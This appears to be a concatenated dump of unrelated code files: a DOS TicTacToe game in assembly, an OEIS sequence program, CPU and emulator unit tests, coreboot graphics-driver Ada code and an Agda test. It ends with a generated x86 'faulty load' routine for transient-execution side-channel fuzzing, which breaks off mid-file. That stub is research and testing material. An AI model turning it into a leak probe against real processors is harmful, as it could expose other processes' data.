36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
tc.asm | SkullCrusher1639/TicTacToe-Assembly | 0 | 22193 | .model small
.stack 100h
.386
.data
board db "123",
"456",
"789",
str_welcome db "Welcome to TicTacToe written in Assembly",10,13,
"The game is played with 2 players",10,13,
"1st player has symbol X and 2nd player has symbol O",10,13,
"Let's Start",10,13,10,13,"$"
str_Tie db 10,13,"Its a tie, Great Game BTW$"
str_turn1 db "Its Player "
current_symbol db "X"
str_turn2 db " Turn",10,13,"$"
str_place db "Enter number to select position: $"
str_err db 10,13,"Invalid Input",10,13,"$"
str_win1 db "Player $"
str_win2 db " has won the game. Congratulation!!$"
won db 0
.code
main proc
mov ax,@data
mov ds,ax
mov es,ax
mov dx,offset str_welcome
call print_str
;initial board printing
call print_board
mov cx,9
board_disp:
call new_line
; players turn
mov dx, offset str_turn1
call print_str
; take input of position
call input_position
mov bl,al
call new_line
call new_line
call set_symbol
; print board with symbols
call print_board
; check the winner and display it(if won)
call check_winner
call display_winner
call change_symbol
; loop until board is filled i,e 9 times
loop board_disp
; if its a tie
mov dx, offset str_Tie
call print_str
jmp exit
exit:
mov ah,4ch
int 21h
main endp
; prints the whole board of the game
print_board proc
push cx
mov si, offset board
mov cx,3
row:call print_line
loop row
pop cx
ret
print_board endp
; prints each row of the board
print_line proc
mov dl,[si]
call print_char
inc si
mov dl,' '
call print_char
mov dl,'|'
call print_char
mov dl,' '
call print_char
mov dl,[si]
call print_char
inc si
mov dl,' '
call print_char
mov dl,'|'
call print_char
mov dl,' '
call print_char
mov dl,[si]
call print_char
inc si
call new_line
ret
print_line endp
; changes current player i.e current symbol
change_symbol proc
cmp current_symbol,"X"
je change_to_o
mov current_symbol,"X"
jmp changed
change_to_o:
mov current_symbol,"O"
changed:
ret
change_symbol endp
; set symbol on selected area
set_symbol proc
push si
mov bh,0
mov si, offset board
add si,bx
mov bl,current_symbol
mov [si],bl
pop si
ret
set_symbol endp
; moves to newline
new_line proc
mov dl,10
call print_char
mov dl,13
call print_char
ret
new_line endp
; prints any character in dl
print_char proc
mov ah,02
int 21h
ret
print_char endp
; prints string with offset in dx
print_str proc
mov ah,09
int 21h
ret
print_str endp
; takes character input for position
input_position proc
push si
jmp input_start
input_err:
mov dx, offset str_err
mov ah,09
int 21h
input_start:
mov dx, offset str_place
call print_str
mov ah,01
int 21h
sub al,48
cmp al,9
ja input_err
dec al
lea si, board
mov ah,0
add si,ax
mov ah,[si]
cmp ah,'O'
jge input_err
pop si
ret
input_position endp
; check winner of the game
check_winner proc
call row_winner
call column_winner
call lr_diagonal_winner
call rl_diagonal_winner
ret
check_winner endp
; check the winner if there are 3 same symbol in a row
row_winner proc
push bx
push cx
push di
push ax
mov cx,0
; check all the rows for same current symbol
mov di, offset board
mov al, current_symbol
mov bh,3
row_checks:
add di,cx
mov cx,3
single_row_check:
cmp [di],al
jne exit_single_row
inc di
dec cx
jnz single_row_check
jmp set_winner
exit_single_row:
dec bh
jnz row_checks
jmp exit
set_winner:
mov won,1
jmp exit
exit:
pop ax
pop di
pop cx
pop bx
ret
row_winner endp
; check the winner if there are 3 same symbol in a column
column_winner proc
push bx
push cx
push di
push ax
mov cx,0
; check all the rows for same current symbol
mov di, offset board
mov al, current_symbol
mov bh,3
dec di
col_checks:
add di,1
push di
mov cx,3
single_col_check:
cmp [di],al
jne exit_single_col
add di,3
dec cx
jnz single_col_check
jmp set_winner
exit_single_col:
pop di
dec bh
jnz col_checks
jmp exit
set_winner:
pop di
mov won,1
jmp exit
exit:
pop ax
pop di
pop cx
pop bx
ret
column_winner endp
; check the winner if there are 3 same symbol in the left to right diagonal
lr_diagonal_winner proc
push cx
push di
push ax
mov cx,0
; check all the rows for same current symbol
mov di, offset board
mov al, current_symbol
col_checks:
mov cx,3
single_col_check:
cmp [di],al
jne exit
add di,4
dec cx
jnz single_col_check
set_winner:
mov won,1
exit:
pop ax
pop di
pop cx
ret
lr_diagonal_winner endp
; check the winner if there are 3 same symbol in the right to left diagonal
rl_diagonal_winner proc
push cx
push di
push ax
mov cx,0
; check all the rows for same current symbol
mov di, offset board
add di,2
mov al, current_symbol
col_checks:
mov cx,3
single_col_check:
cmp [di],al
jne exit
add di,2
dec cx
jnz single_col_check
set_winner:
mov won,1
exit:
pop ax
pop di
pop cx
ret
rl_diagonal_winner endp
; display the winner(if won)
display_winner proc
cmp won,1
jne exit
mov dx, offset str_win1
call print_str
mov dl, current_symbol
call print_char
mov dx,offset str_win2
call print_str
mov ah,4ch
int 21h
exit:
ret
display_winner endp
end main
|
programs/oeis/183/A183682.asm | karttu/loda | 0 | 84245 | <gh_stars>0
; A183682: Number of (n+1) X 3 binary arrays with every 2 X 2 subblock nonsingular.
; 12,32,80,208,528,1360,3472,8912,22800,58448,149648,383440,982032,2515792,6443920,16507088,42282768,108311120,277442192,710686672,1820455440,4663202128,11945023888,30597832400,78377927952,200769257552,514280969360,1317357999568,3374481877008,8643913875280,22141841383312,56717496884432,145284862417680,372154849955408,953294299626128,2441913699447760,6255090897952272
add $0,1
mov $1,3
mov $2,4
mov $4,3
lpb $0,1
sub $0,1
sub $2,1
add $1,$2
add $1,$2
mov $3,$4
trn $4,4
add $4,3
add $4,$3
sub $4,$2
add $2,$4
mov $4,$1
sub $4,2
lpe
mov $2,1
add $2,$1
add $1,$2
sub $1,7
|
sw/552tests/inst_tests/st_10.asm | JPShen-UWM/ThreadKraken | 1 | 98741 | <filename>sw/552tests/inst_tests/st_10.asm
// Original test: ./ullmer/hw4/problem6/st_6.asm
// Author: ullmer
// Test source code follows
//test where mem address is max neg reg
//offset + max neg immediate (mem address = 0xff70)
lbi r0, -128
lbi r1, 45
st r1, r0, -16
halt
|
firmware/coreboot/3rdparty/libgfxinit/common/g45/hw-gfx-gma-port_detect.adb | fabiojna02/OpenCellular | 1 | 22866 | --
-- Copyright (C) 2016-2017 secunet Security Networks AG
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2 of the License, or
-- (at your option) any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
with HW.GFX.GMA.Config;
with HW.GFX.GMA.Registers;
with HW.GFX.GMA.Config_Helpers;
package body HW.GFX.GMA.Port_Detect
is
PORT_DETECTED : constant := 1 * 2 ** 2;
PORTB_HOTPLUG_INT_EN : constant := 1 * 2 ** 29;
PORTC_HOTPLUG_INT_EN : constant := 1 * 2 ** 28;
PORTD_HOTPLUG_INT_EN : constant := 1 * 2 ** 27;
SDVOB_HOTPLUG_INT_EN : constant := 1 * 2 ** 26;
SDVOC_HOTPLUG_INT_EN : constant := 1 * 2 ** 25;
CRT_HOTPLUG_INT_EN : constant := 1 * 2 ** 9;
CRT_HOTPLUG_ACTIVATION_PERIOD_64 : constant := 1 * 2 ** 8;
type HDMI_Port_Value is array (GMCH_HDMI_Port) of Word32;
type DP_Port_Value is array (GMCH_DP_Port) of Word32;
HDMI_PORT_HOTPLUG_EN : constant HDMI_Port_Value :=
(DIGI_B => SDVOB_HOTPLUG_INT_EN,
DIGI_C => SDVOC_HOTPLUG_INT_EN);
DP_PORT_HOTPLUG_EN : constant DP_Port_Value :=
(DIGI_B => PORTB_HOTPLUG_INT_EN,
DIGI_C => PORTC_HOTPLUG_INT_EN,
DIGI_D => PORTD_HOTPLUG_INT_EN);
type HDMI_Regs is array (GMCH_HDMI_Port) of Registers.Registers_Index;
type DP_Regs is array (GMCH_DP_Port) of Registers.Registers_Index;
GMCH_HDMI : constant HDMI_Regs :=
(DIGI_B => Registers.GMCH_HDMIB,
DIGI_C => Registers.GMCH_HDMIC);
GMCH_DP : constant DP_Regs :=
(DIGI_B => Registers.GMCH_DP_B,
DIGI_C => Registers.GMCH_DP_C,
DIGI_D => Registers.GMCH_DP_D);
HOTPLUG_INT_STATUS : constant array (Active_Port_Type) of word32 :=
(DP1 => 3 * 2 ** 17,
DP2 => 3 * 2 ** 19,
DP3 => 3 * 2 ** 21,
HDMI1 => 1 * 2 ** 2,
HDMI2 => 1 * 2 ** 3,
Analog => 1 * 2 ** 11,
others => 0);
procedure Initialize
is
Detected : Boolean;
hotplug_mask_set : Word32 :=
CRT_HOTPLUG_INT_EN or CRT_HOTPLUG_ACTIVATION_PERIOD_64;
To_HDMI_Port : constant array (GMCH_HDMI_Port) of Port_Type :=
(DIGI_B => HDMI1,
DIGI_C => HDMI2);
To_DP_Port : constant array (GMCH_DP_Port) of Port_Type :=
(DIGI_B => DP1,
DIGI_C => DP2,
DIGI_D => DP3);
begin
for HDMI_Port in GMCH_HDMI_Port loop
Registers.Is_Set_Mask
(Register => GMCH_HDMI (HDMI_Port),
Mask => PORT_DETECTED,
Result => Detected);
Config.Valid_Port (To_HDMI_Port (HDMI_Port)) := Detected;
hotplug_mask_set := hotplug_mask_set or
(if Detected then HDMI_PORT_HOTPLUG_EN (HDMI_Port) else 0);
end loop;
for DP_Port in GMCH_DP_Port loop
Registers.Is_Set_Mask
(Register => GMCH_DP (DP_Port),
Mask => PORT_DETECTED,
Result => Detected);
Config.Valid_Port (To_DP_Port (DP_Port)) := Detected;
hotplug_mask_set := hotplug_mask_set or
(if Detected then DP_PORT_HOTPLUG_EN (DP_Port) else 0);
end loop;
Registers.Write
(Register => Registers.PORT_HOTPLUG_EN,
Value => hotplug_mask_set);
end Initialize;
procedure Hotplug_Detect (Port : in Active_Port_Type; Detected : out Boolean)
is
Ctl32 : Word32;
begin
Registers.Read (Register => Registers.PORT_HOTPLUG_STAT,
Value => Ctl32);
Detected := (Ctl32 and HOTPLUG_INT_STATUS (Port)) /= 0;
if Detected then
registers.Set_Mask
(Register => Registers.PORT_HOTPLUG_STAT,
Mask => HOTPLUG_INT_STATUS (Port));
end if;
end Hotplug_Detect;
procedure Clear_Hotplug_Detect (Port : Active_Port_Type)
is
Ignored_HPD : Boolean;
begin
pragma Warnings (GNATprove, Off, "unused assignment to ""Ignored_HPD""",
Reason => "We want to clear pending events only");
Port_Detect.Hotplug_Detect (Port, Ignored_HPD);
pragma Warnings (GNATprove, On, "unused assignment to ""Ignored_HPD""");
end Clear_Hotplug_Detect;
end HW.GFX.GMA.Port_Detect;
|
unittests/ASM/VEX/rorx.asm | cobalt2727/FEX | 0 | 84924 | %ifdef CONFIG
{
"RegData": {
"RAX": "0x8000000000000000",
"RBX": "0xFF",
"RCX": "0xF00000000000000F",
"RDX": "0x80000000",
"RSI": "0xFF",
"RDI": "0xF000000F"
}
}
%endif
; Trivial test
mov rax, 1
rorx rax, rax, 1
; More than one bit
mov rbx, 0xFF
rorx rcx, rbx, 4
; Test that we mask the rotation amount above the operand size (should leave rcx's value alone).
rorx rcx, rcx, 64
; 32-bit
; Trivial test
mov edx, 1
rorx edx, edx, 1
; More than one bit
mov esi, 0xFF
rorx edi, esi, 4,
; Test that we mask the rotation amount above the operand size (should leave edi's value alone).
rorx edi, edi, 32
hlt |
test/Fail/Issue2248.agda | pthariensflame/agda | 0 | 17214 | -- Andreas, 2016-10-11, AIM XXIV
-- COMPILED pragma accidentially also accepted for abstract definitions
open import Common.String
data Unit : Set where
unit : Unit
{-# COMPILED_DATA Unit () () #-}
postulate
IO : Set → Set
doNothing : IO Unit
{-# COMPILED_TYPE IO IO #-}
{-# BUILTIN IO IO #-}
{-# COMPILED doNothing (return ()) #-}
{-# IMPORT Data.Text.IO #-}
abstract
putStrLn : String → IO Unit
putStrLn _ = doNothing
{-# COMPILED putStrLn Data.Text.IO.putStrLn #-}
main = putStrLn "Hello, world!"
-- WAS: compiler produced ill-formed Haskell-code
-- NOW: Error on COMPILED pragma
|
firmware/coreboot/3rdparty/libgfxinit/common/ironlake/hw-gfx-gma-connectors-edp.adb | fabiojna02/OpenCellular | 1 | 2739 | <filename>firmware/coreboot/3rdparty/libgfxinit/common/ironlake/hw-gfx-gma-connectors-edp.adb<gh_stars>1-10
--
-- Copyright (C) 2015-2016 secunet Security Networks AG
--
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; either version 2 of the License, or
-- (at your option) any later version.
--
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
--
with HW.Time;
with HW.GFX.DP_Training;
with HW.GFX.GMA.DP_Info;
with HW.GFX.GMA.DP_Aux_Ch;
with HW.GFX.GMA.Registers;
with HW.Debug;
with GNAT.Source_Info;
package body HW.GFX.GMA.Connectors.EDP
is
DP_CTL_DISPLAYPORT_ENABLE : constant := 1 * 2 ** 31;
DP_CTL_VSWING_EMPH_SET_MASK : constant := 63 * 2 ** 22;
DP_CTL_PORT_WIDTH_MASK : constant := 7 * 2 ** 19;
DP_CTL_PORT_WIDTH_1_LANE : constant := 0 * 2 ** 19;
DP_CTL_PORT_WIDTH_2_LANES : constant := 1 * 2 ** 19;
DP_CTL_PORT_WIDTH_4_LANES : constant := 3 * 2 ** 19;
DP_CTL_ENHANCED_FRAMING_ENABLE : constant := 1 * 2 ** 18;
DP_CTL_PLL_FREQUENCY_MASK : constant := 3 * 2 ** 16;
DP_CTL_PLL_FREQUENCY_270 : constant := 0 * 2 ** 16;
DP_CTL_PLL_FREQUENCY_162 : constant := 1 * 2 ** 16;
DP_CTL_PORT_REVERSAL : constant := 1 * 2 ** 15;
DP_CTL_PLL_ENABLE : constant := 1 * 2 ** 14;
DP_CTL_LINK_TRAIN_MASK : constant := 3 * 2 ** 8;
DP_CTL_LINK_TRAIN_PAT1 : constant := 0 * 2 ** 8;
DP_CTL_LINK_TRAIN_PAT2 : constant := 1 * 2 ** 8;
DP_CTL_LINK_TRAIN_IDLE : constant := 2 * 2 ** 8;
DP_CTL_LINK_TRAIN_NORMAL : constant := 3 * 2 ** 8;
DP_CTL_ALT_SCRAMBLER_RESET : constant := 1 * 2 ** 6;
DP_CTL_VSYNC_ACTIVE_HIGH : constant := 1 * 2 ** 4;
DP_CTL_HSYNC_ACTIVE_HIGH : constant := 1 * 2 ** 3;
DP_CTL_PORT_DETECT : constant := 1 * 2 ** 2;
type Pipe_Value_Array is array (Pipe_Index) of Word32;
DP_CTL_PIPE_SELECT : constant Pipe_Value_Array :=
(Primary => 0 * 2 ** 29,
Secondary => 1 * 2 ** 29,
Tertiary => 2 * 2 ** 29);
-- TODO? Values are for Ivy Bridge only
DP_CTL_VSWING_0_EMPH_0 : constant := 1 * 2 ** 27 + 1 * 2 ** 24 + 0 * 2 ** 22;
DP_CTL_VSWING_0_EMPH_1 : constant := 1 * 2 ** 27 + 2 * 2 ** 24 + 2 * 2 ** 22;
DP_CTL_VSWING_0_EMPH_2 : constant := 1 * 2 ** 27 + 3 * 2 ** 24 + 3 * 2 ** 22;
DP_CTL_VSWING_1_EMPH_0 : constant := 1 * 2 ** 27 + 4 * 2 ** 24 + 0 * 2 ** 22;
DP_CTL_VSWING_1_EMPH_1 : constant := 1 * 2 ** 27 + 5 * 2 ** 24 + 2 * 2 ** 22;
DP_CTL_VSWING_2_EMPH_0 : constant := 1 * 2 ** 27 + 6 * 2 ** 24 + 0 * 2 ** 22;
DP_CTL_VSWING_2_EMPH_1 : constant := 1 * 2 ** 27 + 7 * 2 ** 24 + 2 * 2 ** 22;
type DP_CTL_PORT_WIDTH_T is array (DP_Lane_Count) of Word32;
DP_CTL_PORT_WIDTH : constant DP_CTL_PORT_WIDTH_T :=
DP_CTL_PORT_WIDTH_T'
(DP_Lane_Count_1 => DP_CTL_PORT_WIDTH_1_LANE,
DP_Lane_Count_2 => DP_CTL_PORT_WIDTH_2_LANES,
DP_Lane_Count_4 => DP_CTL_PORT_WIDTH_4_LANES);
type DP_CTL_LINK_TRAIN_Array is array (DP_Info.Training_Pattern) of Word32;
DP_CTL_LINK_TRAIN : constant DP_CTL_LINK_TRAIN_Array :=
DP_CTL_LINK_TRAIN_Array'
(DP_Info.TP_1 => DP_CTL_LINK_TRAIN_PAT1,
DP_Info.TP_2 => DP_CTL_LINK_TRAIN_PAT2,
DP_Info.TP_3 => DP_CTL_LINK_TRAIN_PAT2,
DP_Info.TP_Idle => DP_CTL_LINK_TRAIN_IDLE,
DP_Info.TP_None => DP_CTL_LINK_TRAIN_NORMAL);
----------------------------------------------------------------------------
procedure Pre_Training is
begin
pragma Debug (Debug.Put_Line (GNAT.Source_Info.Enclosing_Entity));
Registers.Unset_And_Set_Mask
(Register => Registers.DP_CTL_A,
Mask_Unset => DP_CTL_LINK_TRAIN_MASK,
Mask_Set => DP_CTL_LINK_TRAIN (DP_Info.TP_1) or
DP_CTL_DISPLAYPORT_ENABLE);
end Pre_Training;
----------------------------------------------------------------------------
pragma Warnings (GNATprove, Off, "unused variable ""Port""",
Reason => "Needed for a common interface");
function Max_V_Swing
(Port : Digital_Port)
return DP_Info.DP_Voltage_Swing
is
begin
return DP_Info.VS_Level_2;
end Max_V_Swing;
function Max_Pre_Emph
(Port : Digital_Port;
Train_Set : DP_Info.Train_Set)
return DP_Info.DP_Pre_Emph
is
begin
return
(case Train_Set.Voltage_Swing is
when DP_Info.VS_Level_0 => DP_Info.Emph_Level_2,
when DP_Info.VS_Level_1 |
DP_Info.VS_Level_2 => DP_Info.Emph_Level_1,
when others => DP_Info.Emph_Level_0);
end Max_Pre_Emph;
----------------------------------------------------------------------------
pragma Warnings (GNATprove, Off, "unused variable ""Link""",
Reason => "Needed for a common interface");
procedure Set_Training_Pattern
(Port : Digital_Port;
Link : DP_Link;
Pattern : DP_Info.Training_Pattern)
is
use type DP_Info.Training_Pattern;
begin
if Pattern < DP_Info.TP_Idle then
Registers.Unset_And_Set_Mask
(Register => Registers.DP_CTL_A,
Mask_Unset => DP_CTL_LINK_TRAIN_MASK,
Mask_Set => DP_CTL_LINK_TRAIN (Pattern));
else
-- send at least 5 idle patterns
Registers.Unset_And_Set_Mask
(Register => Registers.DP_CTL_A,
Mask_Unset => DP_CTL_LINK_TRAIN_MASK,
Mask_Set => DP_CTL_LINK_TRAIN (DP_Info.TP_Idle));
-- we switch to normal frame delivery later in Post_On procedure
end if;
end Set_Training_Pattern;
procedure Set_Signal_Levels
(Port : Digital_Port;
Link : DP_Link;
Train_Set : DP_Info.Train_Set)
is
VSwing_Emph : Word32;
begin
VSwing_Emph :=
(case Train_Set.Voltage_Swing is
when DP_Info.VS_Level_0 =>
(case Train_Set.Pre_Emph is
when DP_Info.Emph_Level_0 => DP_CTL_VSWING_0_EMPH_0,
when DP_Info.Emph_Level_1 => DP_CTL_VSWING_0_EMPH_1,
when DP_Info.Emph_Level_2 => DP_CTL_VSWING_0_EMPH_2,
when others => DP_CTL_VSWING_0_EMPH_0),
when DP_Info.VS_Level_1 =>
(case Train_Set.Pre_Emph is
when DP_Info.Emph_Level_0 => DP_CTL_VSWING_1_EMPH_0,
when DP_Info.Emph_Level_1 => DP_CTL_VSWING_1_EMPH_1,
when others => DP_CTL_VSWING_1_EMPH_0),
when DP_Info.VS_Level_2 =>
(case Train_Set.Pre_Emph is
when DP_Info.Emph_Level_0 => DP_CTL_VSWING_2_EMPH_0,
when DP_Info.Emph_Level_1 => DP_CTL_VSWING_2_EMPH_1,
when others => DP_CTL_VSWING_2_EMPH_0),
when others => DP_CTL_VSWING_0_EMPH_0);
Registers.Unset_And_Set_Mask
(Register => Registers.DP_CTL_A,
Mask_Unset => DP_CTL_VSWING_EMPH_SET_MASK,
Mask_Set => VSwing_Emph);
end Set_Signal_Levels;
pragma Warnings (GNATprove, On, "unused variable ""Port""");
pragma Warnings (GNATprove, On, "unused variable ""Link""");
----------------------------------------------------------------------------
procedure Pre_On (Pipe : Pipe_Index; Port_Cfg : Port_Config)
is
DP_CTL_Set : Word32;
begin
pragma Debug (Debug.Put_Line (GNAT.Source_Info.Enclosing_Entity));
DP_CTL_Set :=
DP_CTL_PIPE_SELECT (Pipe) or
DP_CTL_PORT_WIDTH (Port_Cfg.DP.Lane_Count);
if Port_Cfg.DP.Enhanced_Framing then
DP_CTL_Set := DP_CTL_Set or DP_CTL_ENHANCED_FRAMING_ENABLE;
end if;
case Port_Cfg.DP.Bandwidth is
when DP_Bandwidth_1_62 =>
DP_CTL_Set := DP_CTL_Set or DP_CTL_PLL_FREQUENCY_162;
when DP_Bandwidth_2_7 =>
DP_CTL_Set := DP_CTL_Set or DP_CTL_PLL_FREQUENCY_270;
when others =>
null;
end case;
if Port_Cfg.Mode.V_Sync_Active_High then
DP_CTL_Set := DP_CTL_Set or DP_CTL_VSYNC_ACTIVE_HIGH;
end if;
if Port_Cfg.Mode.H_Sync_Active_High then
DP_CTL_Set := DP_CTL_Set or DP_CTL_HSYNC_ACTIVE_HIGH;
end if;
Registers.Write
(Register => Registers.DP_CTL_A,
Value => DP_CTL_Set);
Registers.Write
(Register => Registers.DP_CTL_A,
Value => DP_CTL_PLL_ENABLE or DP_CTL_Set);
Registers.Posting_Read (Registers.DP_CTL_A);
Time.U_Delay (20);
end Pre_On;
----------------------------------------------------------------------------
procedure Post_On
(Link : in DP_Link;
Success : out Boolean)
is
pragma Warnings (GNATprove, Off, "unused variable ""Port""",
Reason => "Needed for a common interface");
function To_DP (Port : Digital_Port) return DP_Port
is
begin
return DP_A;
end To_DP;
pragma Warnings (GNATprove, On, "unused variable ""Port""");
package Training is new DP_Training
(TPS3_Supported => False,
T => Digital_Port,
Aux_T => DP_Port,
Aux_Ch => DP_Aux_Ch,
DP_Info => DP_Info,
To_Aux => To_DP,
Max_V_Swing => Max_V_Swing,
Max_Pre_Emph => Max_Pre_Emph,
Set_Pattern => Set_Training_Pattern,
Set_Signal_Levels => Set_Signal_Levels,
Off => Off);
begin
pragma Debug (Debug.Put_Line (GNAT.Source_Info.Enclosing_Entity));
Training.Train_DP
(Port => DIGI_A,
Link => Link,
Success => Success);
if Success then
Registers.Unset_And_Set_Mask
(Register => Registers.DP_CTL_A,
Mask_Unset => DP_CTL_LINK_TRAIN_MASK,
Mask_Set => DP_CTL_LINK_TRAIN_NORMAL);
end if;
end Post_On;
----------------------------------------------------------------------------
procedure Off (Port : Digital_Port)
is
Enabled : Boolean;
begin
pragma Debug (Debug.Put_Line (GNAT.Source_Info.Enclosing_Entity));
Registers.Unset_And_Set_Mask
(Register => Registers.DP_CTL_A,
Mask_Unset => DP_CTL_LINK_TRAIN_MASK,
Mask_Set => DP_CTL_LINK_TRAIN_IDLE);
Registers.Posting_Read (Registers.DP_CTL_A);
Registers.Unset_Mask
(Register => Registers.DP_CTL_A,
Mask => DP_CTL_DISPLAYPORT_ENABLE);
-- implicit Posting_Read below
Registers.Is_Set_Mask
(Register => Registers.DP_CTL_A,
Mask => DP_CTL_PLL_ENABLE,
Result => Enabled);
Registers.Write
(Register => Registers.DP_CTL_A,
Value => 16#0000_0000#);
Registers.Posting_Read (Registers.DP_CTL_A);
if Enabled then
Time.U_Delay (20);
end if;
end Off;
end HW.GFX.GMA.Connectors.EDP;
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1729.asm | ljhsiun2/medusa | 9 | 242530 | <filename>Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1729.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r8
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x139ac, %rsi
lea addresses_UC_ht+0x13f4c, %rdi
nop
nop
nop
nop
nop
and %rbx, %rbx
mov $98, %rcx
rep movsb
nop
nop
nop
nop
sub $15222, %rdx
lea addresses_D_ht+0x1908a, %r8
nop
nop
nop
nop
cmp %rax, %rax
mov (%r8), %rbx
nop
nop
nop
nop
nop
dec %rcx
lea addresses_normal_ht+0xe3e1, %rsi
lea addresses_normal_ht+0x1383e, %rdi
nop
nop
nop
nop
sub $32750, %rbp
mov $34, %rcx
rep movsl
nop
nop
nop
sub $27795, %rdx
lea addresses_WC_ht+0xb11c, %rbx
clflush (%rbx)
nop
nop
nop
sub $59845, %rcx
movb (%rbx), %r8b
nop
nop
nop
nop
nop
xor $47420, %r8
lea addresses_normal_ht+0xe60c, %rcx
nop
nop
nop
nop
nop
and %rdi, %rdi
movb (%rcx), %al
add %rdi, %rdi
lea addresses_WT_ht+0xf8c, %rcx
inc %rbp
mov $0x6162636465666768, %rax
movq %rax, %xmm6
vmovups %ymm6, (%rcx)
nop
inc %rbp
lea addresses_normal_ht+0x1113c, %rbp
nop
nop
nop
nop
nop
cmp %rbx, %rbx
mov $0x6162636465666768, %r8
movq %r8, %xmm1
vmovups %ymm1, (%rbp)
nop
nop
sub %rbp, %rbp
lea addresses_WC_ht+0x1e356, %rsi
lea addresses_WT_ht+0xcf4c, %rdi
nop
nop
nop
and %r8, %r8
mov $55, %rcx
rep movsl
cmp $41918, %rdx
lea addresses_normal_ht+0xec0c, %rsi
lea addresses_D_ht+0x12ae6, %rdi
nop
nop
nop
nop
nop
and %rdx, %rdx
mov $84, %rcx
rep movsq
xor %rbx, %rbx
lea addresses_A_ht+0xf60c, %rax
inc %rbx
movb $0x61, (%rax)
nop
nop
sub %rcx, %rcx
lea addresses_D_ht+0x2c0c, %rsi
lea addresses_WT_ht+0x1ea0c, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
and %rbx, %rbx
mov $90, %rcx
rep movsq
xor %rbx, %rbx
lea addresses_UC_ht+0x1350c, %rbx
nop
nop
nop
nop
nop
inc %rbp
mov $0x6162636465666768, %rax
movq %rax, %xmm3
movups %xmm3, (%rbx)
nop
nop
nop
xor $26979, %rbp
lea addresses_UC_ht+0xed0c, %rsi
lea addresses_A_ht+0x13e0c, %rdi
nop
nop
nop
nop
nop
xor %rbx, %rbx
mov $62, %rcx
rep movsl
nop
nop
sub %rbx, %rbx
lea addresses_normal_ht+0x1c60c, %rsi
lea addresses_D_ht+0x196c, %rdi
nop
nop
lfence
mov $82, %rcx
rep movsw
nop
nop
nop
nop
dec %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r8
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r8
push %rbp
push %rdi
push %rsi
// Store
lea addresses_PSE+0x1d5b3, %rsi
nop
cmp $23359, %r11
movw $0x5152, (%rsi)
nop
nop
nop
nop
xor $5113, %r13
// Store
mov $0xd6c, %r12
nop
nop
nop
and %r11, %r11
mov $0x5152535455565758, %r13
movq %r13, %xmm5
vmovups %ymm5, (%r12)
sub $46624, %rsi
// Store
mov $0x30c, %r13
clflush (%r13)
nop
nop
nop
nop
xor $54869, %r8
movw $0x5152, (%r13)
nop
nop
nop
inc %r13
// Store
lea addresses_A+0x17384, %rbp
clflush (%rbp)
nop
nop
sub $39989, %r12
movl $0x51525354, (%rbp)
nop
nop
nop
nop
nop
sub $44373, %rdi
// Store
lea addresses_UC+0xe60c, %rbp
nop
nop
nop
nop
inc %rsi
mov $0x5152535455565758, %r11
movq %r11, %xmm4
movups %xmm4, (%rbp)
nop
nop
nop
nop
xor %r12, %r12
// Store
lea addresses_A+0x8c1c, %r13
nop
dec %rsi
movw $0x5152, (%r13)
nop
nop
nop
nop
add %rsi, %rsi
// Store
lea addresses_UC+0x1113c, %r12
nop
nop
nop
nop
nop
xor %rdi, %rdi
mov $0x5152535455565758, %r11
movq %r11, %xmm5
vmovups %ymm5, (%r12)
nop
nop
nop
nop
cmp $20607, %rdi
// Store
lea addresses_normal+0x1cecc, %r11
nop
nop
nop
sub $3476, %rsi
movw $0x5152, (%r11)
nop
and %r11, %r11
// Faulty Load
